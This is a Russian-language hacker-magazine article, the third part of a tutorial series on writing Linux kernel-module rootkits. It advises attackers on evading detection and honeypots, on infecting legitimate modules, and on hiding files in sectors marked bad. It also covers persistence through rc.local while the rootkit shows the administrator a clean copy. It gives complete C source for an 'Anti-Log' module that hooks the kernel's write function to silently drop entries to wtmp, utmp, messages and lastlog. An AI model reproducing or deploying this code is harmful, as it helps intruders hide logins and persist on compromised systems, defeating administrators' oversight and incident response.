Хай пиплы!

Эта статья посвящается классным girls: Юле,
двум Аням, Наташе и Тане 🙂

Если ты не читал первую
и вторую
части, рекомендую все-таки прочитать ее
перед тем как читать эту.

После публикации первой части ко мне пришли
письма с вопросами, поэтому я решил начать
эту часть с нескольких советов по поводу
часто встречающихся проблем:

Если немножко не совпадают версии ядра с
которым работаешь и для которого был
скомпилирован модуль и insmod module.o пишет что-то
типа:

kernel-module version mismatch
module.o was compiled for kernel version 2.4.20
while this kernel is version 2.4.20-9asp

просто передай insmod'у флаг -f вот так:

insmod module.o -f

(Force - сила/форсировать) тогда insmod
поругается, но модуль загрузит 🙂 Можно
также устроить разборку с include файлами или
скомпилировать мод без версии.

При загрузке прячущего модуля, который был
описан в примере, надо передавать только
имя модуля (так как оно пишется lsmod'ом), то
есть без расширения файла '.o'.
Примеры:

неправильно - # insmod hide.o hide=module.o
правильно - # insmod hide.o hide=module

Если пишет, что не видит функцию hide.o: unresolved
symbol strcmp, то в данном случае реализуй её
самостоятельно:

int strcmp(const char * cs,const char * ct)
{
register signed char __res;
while (1)
{
if ((__res = *cs - *ct++) != 0 || !*cs++)
break;
}
return __res;
}

Но лучше ее назвать как-нибудь по
другому, например mystrcmp или strequal. Не забудь
кинуть ее перед init_module или задефайнить
сначала.

Ну а теперь мы снова продолжаем путешествие
к ядру Linux'a 🙂

Самое главное - предохранятся! 😉
Предохраняются все - квэйкеры надевают
тонны армора и мегахэлфы, сисопы ставят
тучу фаэрволов, систем обнаружения
вторжений. Но самое страшное это honey-pot'ы
и honey-net'ы
. Когда хакер нападает на honey-pot/net
он превращается из охотника в дичь, а узнает
об этом только от ОМОН'а, выбившего дверь...
🙁 Поэтому перед тем как дальше
рассказывать о кодинге LKM Rootkit'ов, я расскажу
как защитится хаксору от сисопа. Сначала
рассмотрим продвинутые методы обнаружения
модулей, а потом скрытия. Есть две основные
стратегии обнаружения чужих LKM'ов:

1. обнаружение попытки загрузить модуль
2. обнаружение модуля, когда он уже залит в
ядро

Для того, чтобы обнаружить попытку загрузки
модуля можно модифицировать insmod или само
ядро. В ядре есть 4 системных вызова (system calls)
для работы с модулями, вот они:

1. create_module
2. init_module
3. delete_module
4. query_module

Подробную информацию о них можешь
прочитать в соответствующих man pages. Если
перехватить эти системные вызовы, то можно
будет создать логгер чтобы видеть кто,
когда и что пытался загрузить в ядро, а
также запретить саму загрузку.

Что касается обнаружения модулей когда они
уже загружены, то читай статью в Phrack
#61 из раздела Linenoise
. Хотя метод, конечно,
экстремальный... 🙂

Еще иногда ядро может быть скомпилировано
без поддержки LKM. Тогда insmod'ом мод загрузить
не возможно... теоретически... а практически...
- читай дальше 😉

Продвинутые методы загрузки модулей.

Полностью все методы описывать не буду,
сделаю лишь небольшой обзор и дам линки где
почитать подробнее. А ты по экспериментируй
с этими методами и выбери наиболее
подходящий тебе.

1. скрестить 2 модуля (нормальный из /lib/modules/...
и сам rootkit)
2. патчинг ядра в реальном времени (через
файлы-девайсы /dev/mem & /dev/kmem)
3. статический патчинг ядра

Скрещивание 2-х модулей чем-то напоминает
заражение программы вирусом, когда в
нормальную прогу добавляются
дополнительные команды. Для скрещивания
модулей есть известный скрипт lkminject.sh by truff http://projet7.tuxfamily.org/factory/releases/lkminject.sh.
Также truff написал статью по этой теме в Phrack #61.
Преимущества этого метода в том, что если
инфицировать нормальный, используемый
модуль, то в следующий раз при загрузке
компьютера ты сможешь забраться в ядро, и
большинство систем обнаружения вторжений
этого не заметят. Недостатки - зараженный
модуль могут обнаружить проги типа Tripwire. Но
это легко лечится - как перенаправлять
файлы рассказано в этой статье ниже.

Файлы /dev/mem и /dev/kmem это один из довольно
удобных способов прямого обращения к
оперативной памяти. Для полной инфы смотри
man'ы для mem и kmem. Уже существует достаточно
много док и прог по этой теме. Неплохую доку
написал Silvio Cesare в статье "Runtime kernel kmem patching"
в 1998 году. http://www.big.net.au/~silvio
http://vx.netlux.org/lib/vsc07.html.

Статический патчинг ядра примерно тоже, что
и скрещивание 2-х модулей. Только
модифицируется файл, содержащий само ядро,
а не модуль. Обычно это /vmlinuz или /boot/vmlinuz. "Static
Kernel Patching" - хорошая дока, написанная jbtzhm'ом,
которая была опубликована в Phrack #60 http://www.phrack.org/show.php?p=60&a=8.

Продвинутые игры с VFS.

Вообще-то продвинутые хакеры стараются не
хранить файлов в файловой системе. Какие бы
супер-пупер методы скрытия файлов в
файловой системе они бы не придумали,
всегда можно загрузить другой комп и
присоединить к нему винт похаканой тачки. И
тогда, если там, в файловой системе, будут
какие-то файлы хаксора, то никакой LKM не
поможет, и все файлы будут как на ладони. Но
и в других случаях Rootkit не всегда сможет
защитить файлы хаксора (часто это может
происходить пре upgrade'е системы). Поэтому
продвинутые челы хранят свои файлы на диске,
но без учетной записи в файловой системе. То
есть данные на диске есть, но в файловой
системе информации о них нет. И только
хаксор знает их точное место нахождения на
диске. Чтоб эти данные не были перезаписаны,
сектора, в которых они находятся,
помечаются специальным маркером "bad sector".
И тогда система думает, что в этом самом
месте жесткий диск поврежден и не
использует эти сектора. Для доступа к таким
файлам-невидимкам применяются специальные
проги, но мы их сейчас рассматривать не
будем. Но даже если хранить свои данные вне
файловой системы иногда надо иметь
возможность перенаправлять и прятать файлы.
Например, если надо как-то загружать LKM Rootkit,
то можно добавить команду загрузки insmod в
какой-нибудь файл типа /etc/rc.d/rc.local и тогда
модуль будет автоматически загружаться при
загрузке компьютера. После чего, при
попытке чтения файла /etc/rc.d/rc.local, rootkit будет
выдавать сохраненную копию настоящего rc.local,
а не модифицированную, и сисоп не сможет
увидеть изменения 🙂

Рекомендую почитать RTFM доку /usr/src/linux/Documentation/fs/vfs.txt.

Для разминки мы рассмотрим такой простой
прикол, который я назвал Anti-Log. Наворот этого
метода заключается в том, что по
определенному сигналу (например пакет из
сети со специальным содержанием) запись
данных в лог файлы не совершается. Тогда ты
сможешь спокойно залогиниться в систему по
SSH/Telnet/FTP, но записи об этом в лог файлах не
будет, так что их не нужно будет чистить 🙂

Для этого просто перехватываем функцию write,
и если файл в который пытаются писать
программы является лог файлом, то мы просто
игнорируем это, не вызывая настоящую write.

/*
Anti-Log by Alekz Under (skleroz@pisem.net)
Messages don't go to log files when this module is loa
ded.
*/

#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>

// include'ы для работы с
файловой системой

#include <linux/slab.h>
#include <linux/locks.h>
#include <linux/fd.h>
#include <linux/fs.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>

struct file_operations * fop;
struct file_operations orig_fop;

struct nameidata nd;

unsigned long antilogs[] = { 55751, 54244, 54998, 64741, 0 };
/*
числа - это номера inode'ов
log-файлов (/var/log/wtmp, /var/run/utmp, /var/log/messages, /var/log/lastlog).
узнай их с помощью команды stat.
в твоей системе они будут другие и могут
периодически меняться!
о том как автоматически их узнавать
расскажу попозже.
0 в конце - обязательно!

*/

ssize_t wrap_write(struct file * a, const char * b, size_t c, loff_t * d)
{
int i;

for(i = 0; antilogs[i]; i++)
{
if(a->f_dentry->d_inode->i_ino == antilogs[i]) //
если
этот файл есть лог - вернуться из функции

return c;
}

return orig_fop.write(a, b, c, d);
}

int init_module(void)
{
int error;

char path[] = "/etc/inittab";

if (path_init(path,0,&nd))
error = path_walk(path, &nd);
if (!error)
{
lock_kernel(); //
анестезия
для ядра, чтобы оно не дёргалось во время
операции 🙂 

fop = nd.dentry->d_inode->i_fop;

// ну а теперь самое
вкусное - перехват функции write
orig_fop.write = fop->write; // сохраняем
адрес настоящей функции write

fop->write = wrap_write; //
меняем
указатель так, что теперь будет вызываться
wrap_write вместо write

unlock_kernel(); // теперь ядро
можно отпустить 🙂

} else { return -1; }

return 0;
}

void cleanup_module(void)
{
fop->write = orig_fop.write; //
восстанавливаем
указатель на настоящую
write path_release(&nd);
}

Теперь посмотри список залогиненых юзеров
командой w или who, откомпилируй мод, загрузи
его и залогинься в систему еще раз. Снова
сделай w/who и сравни список юзеров с
предыдущим - он ни капельки не должен
отличатся 🙂

Ну а теперь самое интересное - редирект (перенаправление)
файлов.

Для этих целей мы перехватим функцию open и
заменим некоторые структуры, содержащие
инфу о настоящем файле на инфу об обманном
файле. В результате этого, когда будет
вызываться read или write для чтения или записи
в файл, настоящие read/write будут читать/писать
в обманный файл, а не в настоящий.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии